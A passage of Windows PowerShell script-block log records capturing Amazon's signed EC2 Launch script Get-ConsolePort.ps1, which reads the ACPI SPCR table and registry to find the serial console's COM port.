""\d{1,},\d{1,},\d{1,}"") $busId,$deviceID,$functionID = $matches[0] -split "","" $result.busId = $busId $result.deviceID = $deviceID $result.functionID = $functionID return $result } # # This function takes all of the information from ACPI SPCR # and returns the matching MF device. # function FindMatchingPCISerialDevice { param([string]$VendId, [string]$DeviceId, [string]$PCIBusId, [string]$PCIDeviceId, [string]$PCIFunctionId) try { #PCI info needs to be converted to base 10 for downstream compare $PCIBusId = [Convert]::ToInt64($PCIBusId,16) $PCIDeviceId = [Convert]::ToInt64($PCIDeviceId,16) $PCIFunctionId = [Convert]::ToInt64($PCIFunctionId,16) $DeviceIdSubstring = ""VEN_"" + $VendId + ""&"" + ""DEV_"" + $DeviceId [string]$MFDeviceIdSubstring = '' $MatchingMFDevice = $null $locationInfo = $null Get-WmiObject -Query 'Select * from Win32_PnPEntity' | Where-Object { $_.deviceID -match $DeviceIdSubstring } | ForEach-Object -Process { if ($_.deviceID.StartsWith(""PCI"")) { $DevId = $_.deviceID $locationInfo = (Get-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Enum\$DevId"" ` -Name LocationInformation).LocationInformation if ($locationInfo -eq $null) { continue } # Retrieve BDF values $DeviceBDF = FindBDF $locationInfo if (($DeviceBDF.busId -eq $PCIBusId) -and ($DeviceBDF.deviceID -eq $PCIDeviceId) -and ($DeviceBDF.functionID -eq $PCIFunctionId)) { # Matching device found which matches all the parameters from SPCR # Retrieve the substring after the prefix PCI/ and exclude the child portion # This is then used to search under the MF device tree $MFDeviceIdSubstring = $DevId.Split(""\"")[1] } } } if ($MFDeviceIdSubstring -eq '') { return $MatchingMFDevice } else { Get-WmiObject -Query 'Select * from Win32_PnPEntity' | Where-Object { $_.deviceID -match $MFDeviceIdSubstring } | ForEach-Object -Process { # Device must be belong to the MF tree if ($_.deviceID.StartsWith(""MF"")) { $MatchingMFDevice = $_ } } } } catch { Write-ErrorLog ""Unexpected Error during MF device lookup."" return $MatchingMFDevice } return $MatchingMFDevice } # This function reads the SPCR table and then uses that # information to return the mapped COM port. # function Get-ConsolePort () { # Default COM port is COM1 $DefaultTargetPortName = ""COM1"" if ([Environment]::OSVersion.Version.Major -lt 6) { # Do not run this code on Major versions less than 6 return $DefaultTargetPortName } try { $SPCRReaderExeDir = ""$env:ProgramData\Amazon\EC2-Windows\Launch\Scripts"" if (Test-Path -Path $SPCRReaderExeDir) { $SPCRReaderExePath = Join-Path $SPCRReaderExeDir ""AWSAcpiSpcrReader.exe"" $SPCROutput = cmd /c $SPCRReaderExePath # Parse the SPCR output and extract key fields such as Vendor ID, Device ID, BDF. $Dictionary = @{} if ($SPCROutput -match 'SPCR table signature') { foreach ($line in $SPCROutput) { $key,$value = $line.Trim().Split(':') $Dictionary[$key.Trim()] = $value.Trim() } if (!($Dictionary.ContainsKey(""VendorId"") -and $Dictionary.ContainsKey(""DeviceID""))) { Write-Log ""Missing Vendor ID or device ID"" return $DefaultTargetPortName } if (!($Dictionary.ContainsKey(""Bus"") -and $Dictionary.ContainsKey(""Device"") -and $Dictionary.ContainsKey(""Function""))) { Write-Log ""Missing Bus or Device of Function"" return $DefaultTargetPortName } # Check if a matching MF device does exit $Device = FindMatchingPCISerialDevice $Dictionary[""VendorID""] $Dictionary[""DeviceID""] $Dictionary[""Bus""] $Dictionary[""Device""] $Dictionary[""Function""] if ($Device -eq $null) { Write-Log ""No Matching UART device found"" return $DefaultTargetPortName } else { $PortKey = ""HKLM:\SYSTEM\CurrentControlSet\Enum\"" + $Device.deviceID + ""\Device Parameters"" $Port = Get-ItemProperty -Path $PortKey -Name PortName -ErrorAction SilentlyContinue if (($Port -eq $null) -or ($Port.Length -eq 0) -or ($Port.PortName.Length -eq 0)) { Write-Log ""COM PortName is not valid"" return $DefaultTargetPortName } else { # Found a matching COM port in the ENUM registry hive. Write-Log ""Matching UART device found"" $TargetPortName = $Port.PortName return $TargetPortName } } } else { Write-Log ""ACPI SPCR table not found. Bailing Out"" return $DefaultTargetPortName } } else { Write-Log 'SPCR reader Exe is not present. Exiting' return $DefaultTargetPortName } } catch { Write-ErrorLog ""Unexpected Error. Return the default Port COM1"" return $DefaultTargetPortName } return $DefaultTargetPortName } # SIG # Begin signature block # MIIfJgYJKoZIhvcNAQcCoIIfFzCCHxMCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDAG9uW3/eFRmFa # EO3rB6vSSKBF9Q93vE07HWSnhrQi/6CCDlUwggawMIIEmKADAgECAhAIrUCyYNKc # TJ9ezam9k67ZMA0GCSqGSIb3DQEBDAUAMGIxCzAJBgNVBAYTAlVTMRUwEwYDVQQK # EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xITAfBgNV # BAMTGERpZ2lDZXJ0IFRydXN0ZWQgUm9vdCBHNDAeFw0yMTA0MjkwMDAwMDBaFw0z # NjA0MjgyMzU5NTlaMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw # ggIKAoICAQDVtC9C0CiteLdd1TlZG7GIQvUzjOs9gZdwxbvEhSYwn6SOaNhc9es0 # JAfhS0/TeEP0F9ce2vnS1WcaUk8OoVf8iJnBkcyBAz5NcCRks43iCH00fUyAVxJr # Q5qZ8sU7H/Lvy0daE6ZMswEgJfMQ04uy+wjwiuCdCcBlp/qYgEk1hz1RGeiQIXhF # LqGfLOEYwhrMxe6TSXBCMo/7xuoc82VokaJNTIIRSFJo3hC9FFdd6BgTZcV/sk+F # LEikVoQ11vkunKoAFdE3/hoGlMJ8yOobMubKwvSnowMOdKWvObarYBLj6Na59zHh # 3K3kGKDYwSNHR7OhD26jq22YBoMbt2pnLdK9RBqSEIGPsDsJ18ebMlrC/2pgVItJ # wZPt4bRc4G/rJvmM1bL5OBDm6s6R9b7T+2+TYTRcvJNFKIM2KmYoX7BzzosmJQay # g9Rc9hUZTO1i4F4z8ujo7AqnsAMrkbI2eb73rQgedaZlzLvjSFDzd5Ea/ttQokbI # YViY9XwCFjyDKK05huzUtw1T0PhH5nUwjewwk3YUpltLXXRhTT8SkXbev1jLchAp # QfDVxW0mdmgRQRNYmtwmKwH0iU1Z23jPgUo+QEdfyYFQc4UQIyFZYIpkVMHMIRro # OBl8ZhzNeDhFMJlP/2NPTLuqDQhTQXxYPUez+rbsjDIJAsxsPAxWEQIDAQABo4IB # WTCCAVUwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUaDfg67Y7+F8Rhvv+ # YXsIiGX0TkIwHwYDVR0jBBgwFoAU7NfjgtJxXWRM3y5nP+e6mK4cD08wDgYDVR0P # AQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMDMHcGCCsGAQUFBwEBBGswaTAk # BggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEEGCCsGAQUFBzAC # hjVodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRUcnVzdGVkUm9v # dEc0LmNydDBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsMy5kaWdpY2VydC5j # b20vRGlnaUNlcnRUcnVzdGVkUm9vdEc0LmNybDAcBgNVHSAEFTATMAcGBWeBDAED # MAgGBmeBDAEEATANBgkqhkiG9w0BAQwFAAOCAgEAOiNEPY0Idu6PvDqZ01bgAhql # +Eg08yy25nRm95RysQDKr2wwJxMSnpBEn0v9nqN8JtU3vDpdSG2V1T9J9Ce7FoFF # UP2cvbaF4HZ+N3HLIvdaqpDP9ZNq4+sg0dVQeYiaiorBtr2hSBh+3NiAGhEZGM1h # mYFW9snjdufE5BtfQ/g+lP92OT2e1JnPSt0o618moZVYSNUa/tcnP/2Q0XaG3Ryw # YFzzDaju4ImhvTnhOE7abrs2nfvlIVNaw8rpavGiPttDuDPITzgUkpn13c5Ubdld # AhQfQDN8A+KVssIhdXNSy0bYxDQcoqVLjc1vdjcshT8azibpGL6QB7BDf5WIIIJw # 8MzK7/0pNVwfiThV9zeKiwmhywvpMRr/LhlcOXHhvpynCgbWJme3kuZOX956rEnP # LqR0kq3bPKSchh/jwVYbKyP/j7XqiHtwa+aguv06P0WmxOgWkVKLQcBIhEuWTatE # QOON8BUozu3xGFYHKi8QxAwIZDwzj64ojDzLj4gLDb879M4ee47vtevLt/B3E+bn # KD+sEq6lLyJsQfmCXBVmzGwOysWGw/YmMwwHS6DTBwJqakAwSEs0qFEgu60bhQji # WQ1tygVQK+pKHJ6l/aCnHwZ05/LWUpD9r4VIIflXO7ScA+2GRfS0YW6/aOImYIbq # yK+p/pQd52MbOoZWeE4wggedMIIFhaADAgECAhABe4J3F0ijMMT66O5gzQEfMA0G # CSqGSIb3DQEBCwUAMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwHhcNMjExMjI4MDAwMDAwWhcNMjMwMTAz # MjM1OTU5WjCB8jEdMBsGA1UEDwwUUHJpdmF0ZSBPcmdhbml6YXRpb24xEzARBgsr # BgEEAYI3PAIBAxMCVVMxGTAXBgsrBgEEAYI3PAIBAhMIRGVsYXdhcmUxEDAOBgNV # BAUTBzQxNTI5NTQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAw # DgYDVQQHEwdTZWF0dGxlMSIwIAYDVQQKExlBbWF6b24gV2ViIFNlcnZpY2VzLCBJ # bmMuMRMwEQYDVQQLEwpBbWF6b24gRUMyMSIwIAYDVQQDExlBbWF6b24gV2ViIFNl # cnZpY2VzLCBJbmMuMIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAtCrQ # u3fd3L+RmFVifX8P7XsFoqdsNC6J9Gnnw9tIzGwRU5ke3UKljLvIMed9kvTZ196W # JZf/GT6WJIbq2QVRHBFrNzQ24vOtdDJp4vEJN2zTWNoMx2IMrP3u7Arlh8BEuORU # faeZjTFrxG1ZOn2BG8RcaeST+YINZoM6F+tPEzEg7UPbCe6yu1Wztkzj1nadwO9J # A0vPHLsldeSgo5bqXS3KgTkUZQXgNyB7+DtgjFH+slV1CfzA5B20O3CuZq916q7s # 1XaVjtCirDjDXIqeULzLUd6F4gvcHCtPIsPLm9q9vNn9Z7YTXcfbTfIMI/Q5OQKF # i2f5LTEAYwMuQC963rAqSamLxs8u6EMHentmXPpTN7T/iMSRXMsDMn61XCDwkJG0 # IAkyzjfL8NgBn0kc5VZTztnstjwoWvTWHTXUXDPtyIg12vfg5hzLdc1GJhqt1AVA # DDgp4d/k0tvICm1UQMoHqGrZ59zIWEBHq3aNdIiAl2ckMiLYsaf5Tn+FmvRdAgMB # AAGjggI1MIICMTAfBgNVHSMEGDAWgBRoN+Drtjv4XxGG+/5hewiIZfROQjAdBgNV # HQ4EFgQUsPO2uKK+TDLSX5Ez4DXbRIGMdIkwLgYDVR0RBCcwJaAjBggrBgEFBQcI # A6AXMBUME1VTLURFTEFXQVJFLTQxNTI5NTQwDgYDVR0PAQH/BAQDAgeAMBMGA1Ud # JQQMMAoGCCsGAQUFBwMDMIG1BgNVHR8Ega0wgaowU6BRoE+GTWh0dHA6Ly9jcmwz # LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRydXN0ZWRHNENvZGVTaWduaW5nUlNBNDA5 # NlNIQTM4NDIwMjFDQTEuY3JsMFOgUaBPhk1odHRwOi8vY3JsNC5kaWdpY2VydC5j # b20vRGlnaUNlcnRUcnVzdGVkRzRDb2RlU2lnbmluZ1JTQTQwOTZTSEEzODQyMDIx # Q0ExLmNybDA9BgNVHSAENjA0MDIGBWeBDAEDMCkwJwYIKwYBBQUHAgEWG2h0dHA6 # Ly93d3cuZGlnaWNlcnQuY29tL0NQUzCBlAYIKwYBBQUHAQEEgYcwgYQwJAYIKwYB # BQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBcBggrBgEFBQcwAoZQaHR0 # cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VHJ1c3RlZEc0Q29kZVNp # Z25pbmdSU0E0MDk2U0hBMzg0MjAyMUNBMS5jcnQwDAYDVR0TAQH/BAIwADANBgkq # hkiG9w0BAQsFAAOCAgEAOLIzfXbFw3b1+5oTm9q/ovV5uSCa26vf0QR+auJmfcaZ # 24S2C3Mlc/TQ9NEodiJd8SJdNGlpGObtQdzi61ykbUGcxR6i4YI8kZ4WerMr5fCd # 4NGRToXmn7ZC9qxhHoMRDOH59W+NY4XkouE79XfQgnNjwVyAorb0oSJ94DS0eBAk # S5Z/aNHeoHSND7CL/BGMKZIfy5oeQudafNOM8dyt9hAqJf+nOrpvOwlLpJgXTYNH # eGxP4cyb3EQTDMrXYxHckSi4usUq1iW5pCdPA/pQt5BNmGoB0azVdA73Vym/UyR5 # vIz+v1OAWaPdvRvm/26hGyr+WzsR6WIzIBg2GB9k0uv+1bKdqL0yu1gNmcV8LZHR # LNTMx1DX85RKjXNcHcQYjDH2R5oy0CHmV7QSwFJAc2a4+h+7TcmZsbdKlPHi6bFW # /G5HDPWt/F9oQ3OZknWdTigo4vuYl7jcpoSMZgBVGv9EXTrpkLaoCxBn48i7UJ8O # gZzskxcjBx9dObtu9kEA1IndCHoqiqFGakdYI2+LjIr+cPT58XvMQjm7sfeeTTTy # +amZ+ONAscTa1y8jOHIycnMZSKjh/OGw0iApuTUREPB68c6tdsjODU5GF8u5k28M # QVuSQzZbKN+t8FyPh2F4HT9tfvTJxSJxArh/YiXqyyjc/B5AIpwxMIHyw22EzbYx # ghAnMIIQIwIBATB9MGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTECEAF7gncXSKMwxPro7mDNAR8wDQYJYIZI # AWUDBAIBBQCgfDAQBgorBgEEAYI3AgEMMQIwADAZBgkqhkiG9w0BCQMxDAYKKwYB # BAGCNwIBBDAcBgorBgEEAYI3AgELMQ4wDAYKKwYBBAGCNwIBFTAvBgkqhkiG9w0B # CQQxIgQgNRYYX+yBcgph0JJAPDw7gwiMEJrrjRcqXVf55jy8bUEwDQYJKoZIhvcN # AQEBBQAEggGAELMUrwD/N8gSzLQa71zPb4bnSOWsjTkIchJTBaGiXuxft4M2rxx7 # wAuM7J/wGsMOHLpMYePJZLwsPhy1La9qMJ74ZOu1iFtsND70FIOmCrl5+fbu80TK # D6Z2zYilSVugCUqGeJ+oF8dkkcQ7t5LkXp5RhmkOLuW8uPQvW/572wW3VGd1VLTi # 51riuahbBomic8j6CPblOATomOsK02jo87XHwBPNzKTNJ3v3RRb0q7SNm9EpLVn5 # EMUoQQDXlFR+UsBLf/BJYCNlZ8hKp5ttlMmEl0QL89OPgH6SUCDidrWe/QJaRpdk # KW7kFEfvveAZ8Bkw96hlEGAbQimaJ8zd5CiYI++mkp61OuoGPn54xS3CL2OSU1yD # HBjmciydk4CrqVgQfE4ejL0edkY4SXhkmYzcCh2sswRdKfHzLu4hB/hAEDazDBnE # pczXYloWGoS0NaV4skTJwQ4+hUaBj9dHkUDycJuN12K/nFmdVTcB/i9UIpVH39jW # GU0muKQ9IPHMoYINfTCCDXkGCisGAQQBgjcDAwExgg1pMIINZQYJKoZIhvcNAQcC # oIINVjCCDVICAQMxDzANBglghkgBZQMEAgEFADB3BgsqhkiG9w0BCRABBKBoBGYw # ZAIBAQYJYIZIAYb9bAcBMDEwDQYJYIZIAWUDBAIBBQAEIIYGXvxZyyv+VIV8s/gE # qaVbfDzv6dtR+/kWV7QL+jS3AhAZbVmt2CwLBMH+8ODRVMyPGA8yMDIyMDEzMTE4 # NDkzMVqgggo3MIIE/jCCA+agAwIBAgIQDUJK4L46iP9gQCHOFADw3TANBgkqhkiG # 9w0BAQsFADByMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkw # FwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMTEwLwYDVQQDEyhEaWdpQ2VydCBTSEEy # IEFzc3VyZWQgSUQgVGltZXN0YW1waW5nIENBMB4XDTIxMDEwMTAwMDAwMFoXDTMx # MDEwNjAwMDAwMFowSDELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDkRpZ2lDZXJ0LCBJ # bmMuMSAwHgYDVQQDExdEaWdpQ2VydCBUaW1lc3RhbXAgMjAyMTCCASIwDQYJKoZI # hvcNAQEBBQADggEPADCCAQoCggEBAMLmYYRnxYr1DQikRcpja1HXOhFCvQp1dU2U # tAxQtSYQ/h3Ib5FrDJbnGlxI70Tlv5thzRWRYlq4/2cLnGP9NmqB+in43Stwhd4C # GPN4bbx9+cdtCT2+anaH6Yq9+IRdHnbJ5MZ2djpT0dHTWjaPxqPhLxs6t2HWc+xO # bTOKfF1FLUuxUOZBOjdWhtyTI433UCXoZObd048vV7WHIOsOjizVI9r0TXhG4wOD # MSlKXAwxikqMiMX3MFr5FK8VX2xDSQn9JiNT9o1j6BqrW7EdMMKbaYK02/xWVLwf # oYervnpbCiAvSwnJlaeNsvrWY4tOpXIc7p96AXP4Gdb+DUmEvQECAwEAAaOCAbgw # ggG0MA4GA1UdDwEB/wQEAwIHgDAMBgNVHRMBAf8EAjAAMBYGA1UdJQEB/wQMMAoG # CCsGAQUFBwMIMEEGA1UdIAQ6MDgwNgYJYIZIAYb9bAcBMCkwJwYIKwYBBQUHAgEW # G2h0dHA6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAfBgNVHSMEGDAWgBT0tuEgHf4p # rtLkYaWyoiWyyBc1bjAdBgNVHQ4EFgQUNkSGjqS6sGa+vCgtHUQ23eNqerwwcQYD # VR0fBGowaDAyoDCgLoYsaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL3NoYTItYXNz # dXJlZC10cy5jcmwwMqAwoC6GLGh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEy # LWFzc3VyZWQtdHMuY3JsMIGFBggrBgEFBQcBAQR5MHcwJAYIKwYBBQUHMAGGGGh0 # dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBPBggrBgEFBQcwAoZDaHR0cDovL2NhY2Vy # dHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0U0hBMkFzc3VyZWRJRFRpbWVzdGFtcGlu # Z0NBLmNydDANBgkqhkiG9w0BAQsFAAOCAQEASBzctemaI7znGucgDo5nRv1CclF0 # CiNHo6uS0iXEcFm+FKDlJ4GlTRQVGQd58NEEw4bZO73+RAJmTe1ppA/2uHDPYuj1 # UUp4eTZ6J7fz51Kfk6ftQ55757TdQSKJ+4eiRgNO/PT+t2R3Y18jUmmDgvoaU+2Q # zI2hF3MN9PNlOXBL85zWenvaDLw9MtAby/Vh/HUIAHa8gQ74wOFcz8QRcucbZEnY # Ipp1FUL1LTI4gdr0YKK6tFL7XOBhJCVPst/JKahzQ1HavWPWH1ub9y4bTxMd90oN # cX6Xt/Q/hOvB46NJofrOp79Wz7pZdmGJX36ntI5nePk2mOHLKNpbh6aKLzCCBTEw # ggQZoAMCAQICEAqhJdbWMht+QeQF2jaXwhUwDQYJKoZIhvcNAQELBQAwZTELMAkG # A1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRp # Z2ljZXJ0LmNvbTEkMCIGA1UEAxMbRGlnaUNlcnQgQXNzdXJlZCBJRCBSb290IENB # MB4XDTE2MDEwNzEyMDAwMFoXDTMxMDEwNzEyMDAwMFowcjELMAkGA1UEBhMCVVMx # FTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNv # bTExMC8GA1UEAxMoRGlnaUNlcnQgU0hBMiBBc3N1cmVkIElEIFRpbWVzdGFtcGlu # ZyBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL3QMu5LzY9/3am6 # gpnFOVQoV7YjSsQOB0UzURB90Pl9TWh+57ag9I2ziOSXv2MhkJi/E7xX08PhfgjW # ahQAOPcuHjvuzKb2Mln+X2U/4Jvr40ZHBhpVfgsnfsCi9aDg3iI/Dv9+lfvzo7oi # PhisEeTwmQNtO4V8CdPuXciaC1TjqAlxa+DPIhAPdc9xck4Krd9AOly3UeGheRTG # TSQjMF287DxgaqwvB8z98OpH2YhQXv1mblZhJymJhFHmgudGUP2UKiyn5HU+upgP # hH+fMRTWrdXyZMt7HgXQhBlyF/EXBu89zdZN7wZC/aJTKk+FHcQdPK/P2qwQ9d2s # rOlW/5MCAwEAAaOCAc4wggHKMB0GA1UdDgQWBBT0tuEgHf4prtLkYaWyoiWyyBc1 # bjAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYunpyGd823IDzASBgNVHRMBAf8ECDAG # AQH/AgEAMA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDCDB5Bggr # BgEFBQcBAQRtMGswJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNv # bTBDBggrBgEFBQcwAoY3aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lD # ZXJ0QXNzdXJlZElEUm9vdENBLmNydDCBgQYDVR0fBHoweDA6oDigNoY0aHR0cDov # L2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0QXNzdXJlZElEUm9vdENBLmNybDA6 # oDigNoY0aHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0QXNzdXJlZElE # Um9vdENBLmNybDBQBgNVHSAESTBHMDgGCmCGSAGG/WwAAgQwKjAoBggrBgEFBQcC # ARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzALBglghkgBhv1sBwEwDQYJ # KoZIhvcNAQELBQADggEBAHGVEulRh1Zpze/d2nyqY3qzeM8GN0CE70uEv8rPAwL9 # xafDDiBCLK938ysfDCFaKrcFNB1qrpn4J6JmvwmqYN92pDqTD/iy0dh8GWLoXoIl # HsS6HHssIeLWWywUNUMEaLLbdQLgcseY1jxk5R9IEBhfiThhTWJGJIdjjJFSLK8p # ieV4H9YLFKWA1xJHcLN11ZOFk362kmf7U2GJqPVrlsD0WGkNfMgBsbkodbeZY4Ui # jGHKeZR+WfyMD+NvtQEmtmyl7odRIeRYYJu6DC0rbaLEfrvEJStHAgh8Sa4TtuF8 # QkIoxhhWz0E0tmZdtnR79VYzIi8iNrJLokqV2PWmjlIxggKGMIICggIBATCBhjBy # MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 # d3cuZGlnaWNlcnQuY29tMTEwLwYDVQQDEyhEaWdpQ2VydCBTSEEyIEFzc3VyZWQg # SUQgVGltZXN0YW1waW5nIENBAhANQkrgvjqI/2BAIc4UAPDdMA0GCWCGSAFlAwQC # AQUAoIHRMBoGCSqGSIb3DQEJAzENBgsqhkiG9w0BCRABBDAcBgkqhkiG9w0BCQUx # DxcNMjIwMTMxMTg0OTMxWjArBgsqhkiG9w0BCRACDDEcMBowGDAWBBTh14Ko4ZG+ # 72vKFpG1qrSUpiSb8zAvBgkqhkiG9w0BCQQxIgQg/Aq7cfjWAG+SqIKXXSJ0OUuj # 50WS5uZV1pBpZThWiK8wNwYLKoZIhvcNAQkQAi8xKDAmMCQwIgQgsxCQBrwK2YMH # kVcp4EQDQVyD4ykrYU8mlkyNNXHs9akwDQYJKoZIhvcNAQEBBQAEggEAeNa1K3NJ # vKK49m5FzMUSVIyFJH9NKC0Z4UtnEaC1gtEzhVn5jYntDNWn//cpH+75SkHe10ba # OWyYhDifIfnBCvXSgRTL1knTvcsma+L1UH7czYxSt5C6MEawl1JF9W/8zBVKzIU8 # FEsAmTcZGET4jqwOpOKyq+ZMc1/Vv1GNoWm4emZZInAgvnR/CLnCbNYe42tnPsq9 # KYdgp4sph4VAOgFgQXfFVCF2Ow7IoR4OtWyBW8S00neO2jMy1XRjxL1qda1yAh9o # rGSW25/MnPBBXlo+kxYkdyB8I25Id1JmonzZlea8P2WvRzwk8jROUbSpLiP1RrMx # 8cvMXomZlpVSpA== # SIG # End signature block 45ff29a9-4832-467a-b95e-08f5dd205aa0C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\Get-ConsolePort.ps1",,4104,120530,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,5,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\Get-ConsolePort.ps1",,,"'5652'",,,,,,120530,,,,"45ff29a9-4832-467a-b95e-08f5dd205aa0","# Copyright 2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. # version 1.0.0.1 # For platforms where in the PCIe UART (described in ACPI SPCR) # gets mapped to a different symbolic link COMx (where x != 1), # the below function discovers the corresponding COMx and returns it. # Read ACPI SPCR table to find the Device Information for the PCIe UART # AWSReadAcpiSpcr.exe is a Win32 console which uses the ACPI Table info # to extract the right COM Port to use. # # Function to return the B/D/F for the passed LocationInformation # from RegistryHive # function FindBDF { param([string]$LocationInfo) [hashtable]$result = @{} [void]($LocationInfo -match ""\d{1,},\d{1,},\d{1,}"") $busId,$deviceID,$functionID = $matches[0] -split "","" $result.busId = $busId $result.deviceID = $deviceID $result.functionID = $functionID return $result } # # This function takes all of the information from ACPI SPCR # and returns the matching MF device. # function FindMatchingPCISerialDevice { param([string]$VendId, [string]$DeviceId, [string]$PCIBusId, [string]$PCIDeviceId, [string]$PCIFunctionId) try { #PCI info needs to be converted to base 10 for downstream compare $PCIBusId = [Convert]::ToInt64($PCIBusId,16) $PCIDeviceId = [Convert]::ToInt64($PCIDeviceId,16) $PCIFunctionId = [Convert]::ToInt64($PCIFunctionId,16) $DeviceIdSubstring = ""VEN_"" + $VendId + ""&"" + ""DEV_"" + $DeviceId [string]$MFDeviceIdSubstring = '' $MatchingMFDevice = $null $locationInfo = $null Get-WmiObject -Query 'Select * from Win32_PnPEntity' | Where-Object { $_.deviceID -match $DeviceIdSubstring } | ForEach-Object -Process { if ($_.deviceID.StartsWith(""PCI"")) { $DevId = $_.deviceID $locationInfo = (Get-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Enum\$DevId"" ` -Name LocationInformation).LocationInformation if ($locationInfo -eq $null) { continue } # Retrieve BDF values $DeviceBDF = FindBDF $locationInfo if (($DeviceBDF.busId -eq $PCIBusId) -and ($DeviceBDF.deviceID -eq $PCIDeviceId) -and ($DeviceBDF.functionID -eq $PCIFunctionId)) { # Matching device found which matches all the parameters from SPCR # Retrieve the substring after the prefix PCI/ and exclude the child portion # This is then used to search under the MF device tree $MFDeviceIdSubstring = $DevId.Split(""\"")[1] } } } if ($MFDeviceIdSubstring -eq '') { return $MatchingMFDevice } else { Get-WmiObject -Query 'Select * from Win32_PnPEntity' | Where-Object { $_.deviceID -match $MFDeviceIdSubstring } | ForEach-Object -Process { # Device must be belong to the MF tree if ($_.deviceID.StartsWith(""MF"")) { $MatchingMFDevice = $_ } } } } catch { Write-ErrorLog ""Unexpected Error during MF device lookup."" return $MatchingMFDevice } return $MatchingMFDevice } # This function reads the SPCR table and then uses that # information to return the mapped COM port. # function Get-ConsolePort () { # Default COM port is COM1 $DefaultTargetPortName = ""COM1"" if ([Environment]::OSVersion.Version.Major -lt 6) { # Do not run this code on Major versions less than 6 return $DefaultTargetPortName } try { $SPCRReaderExeDir = ""$env:ProgramData\Amazon\EC2-Windows\Launch\Scripts"" if (Test-Path -Path $SPCRReaderExeDir) { $SPCRReaderExePath = Join-Path $SPCRReaderExeDir ""AWSAcpiSpcrReader.exe"" $SPCROutput = cmd /c $SPCRReaderExePath # Parse the SPCR output and extract key fields such as Vendor ID, Device ID, BDF. $Dictionary = @{} if ($SPCROutput -match 'SPCR table signature') { foreach ($line in $SPCROutput) { $key,$value = $line.Trim().Split(':') $Dictionary[$key.Trim()] = $value.Trim() } if (!($Dictionary.ContainsKey(""VendorId"") -and $Dictionary.ContainsKey(""DeviceID""))) { Write-Log ""Missing Vendor ID or device ID"" return $DefaultTargetPortName } if (!($Dictionary.ContainsKey(""Bus"") -and $Dictionary.ContainsKey(""Device"") -and $Dictionary.ContainsKey(""Function""))) { Write-Log ""Missing Bus or Device of Function"" return $DefaultTargetPortName } # Check if a matching MF device does exit $Device = FindMatchingPCISerialDevice $Dictionary[""VendorID""] $Dictionary[""DeviceID""] $Dictionary[""Bus""] $Dictionary[""Device""] $Dictionary[""Function""] if ($Device -eq $null) { Write-Log ""No Matching UART device found"" return $DefaultTargetPortName } else { $PortKey = ""HKLM:\SYSTEM\CurrentControlSet\Enum\"" + $Device.deviceID + ""\Device Parameters"" $Port = Get-ItemProperty -Path $PortKey -Name PortName -ErrorAction SilentlyContinue if (($Port -eq $null) -or ($Port.Length -eq 0) -or ($Port.PortName.Length -eq 0)) { Write-Log ""COM 